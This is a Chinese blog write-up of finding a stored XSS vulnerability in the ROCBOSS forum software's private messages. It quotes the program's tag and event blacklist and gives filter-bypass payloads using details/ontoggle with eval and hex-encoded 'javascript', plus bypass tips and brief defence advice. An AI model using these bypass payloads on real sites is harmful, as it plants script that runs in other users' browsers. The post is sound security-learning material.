记一次挖掘存储型XSS漏洞过程

Posted 即刻安全

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了记一次挖掘存储型XSS漏洞过程相关的知识,希望对你有一定的参考价值。

00×01 前言

这几天我无意间看到了一个微社区程序——ROCBOSS

研究了一下这套程序,使用的整体效果还不错(虽然功能不多),所以我准备对这个程序做一次灰盒测试。

大家搭建时按照下载页面的提示编辑源码就OK了。

这次我找准了漏洞挖掘的目标——存储型XSS漏洞,因为如果是微社区的话,相对于其它网站(比如说公司官网之类的)而言,微社区存在存储型XSS漏洞的可能性更大大,XSS漏洞可以存在于个人资料处,文章发表处或者留言评论处等等,而其它网站就没留这么多机会给XSS漏洞了。

00×02 挖掘过程

首先,我在文章发表处和评论处都尝试插入XSS代码,但根据结果来看,程序把输出的内容都实体化了,插入的XSS代码没起效果。

就在这时,我发现网站还有一个很不起眼的功能——私信,于是,我开始给我注册的另一个帐号发送一条私信,私信中插入XSS代码,内容如下:

  1. ><script>alert(1)</script><

结果如图


证明有戏,程序没有把私信的内容实体化

查看源代码

记一次挖掘存储型XSS漏洞过程


过滤了<script>标签

说明程序有过滤XSS脚本

这时我们来看看过滤XSS的脚本(/system/util/Filter.php):

记一次挖掘存储型XSS漏洞过程


XSS过滤脚本在该文件的73-136行

因源代码较多,这里就不全部发了,这里我们发比较重要的几段:

  1. $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'base', 'style');

  2. $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');

我们可以看到,很多标签和事件都被过滤了

但是,黑名单肯定都存在绕过的可能

也许你已经注意到了,脚本并没有过滤eval函数和ontoggle事件

所以我们可以构造如下XSS代码

  1. "><details open ontoggle=eval("javascript:alert('xss')")><"

重新发一条私信过去试试

结果如图

记一次挖掘存储型XSS漏洞过程


查看页面源代码


过滤了javascript函数

既然这样,我们试一下通过ASCII 16进制编码转换来绕过过滤

将javascript转换编码后,构造出如下XSS代码

  1. "><details open ontoggle=eval("\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert('xss')")><"

结果如图


成功弹出提示框

00×03 存储型XSS漏洞挖掘经验

挖掘存储型XSS漏洞的时候,大家可以多留意一下评论留言处和个人资料处这些地方,存在XSS漏洞的几率非常大;

同时也要看一下黑名单过滤规则,想办法进行绕过,比如通过编码转换、大小写混淆或者利用一些特殊的函数、标签来绕过黑名单;

总之思路越灵活越好,当然这只是个人观点。

00×04 存储型XSS漏洞防御

XSS防御的总体思路是:对输入(和URL参数)进行过滤,对输出进行编码

就像这个程序一样,写一个过滤黑名单,过滤恶意字符,虽然不一定是安全的,但至少能抵御部分XSS攻击。

参考文献:http://www.cnblogs.com/digdeep/p/4695348.html

以上是关于记一次挖掘存储型XSS漏洞过程的主要内容,如果未能解决你的问题,请参考以下文章

漏洞挖掘之xss

XSS基础(新手篇)

渗透测试之XSS漏洞:记一次模拟注入攻击

XSS 漏洞原理及防御方法

记一次小有成就的代码审计

XSS漏洞详解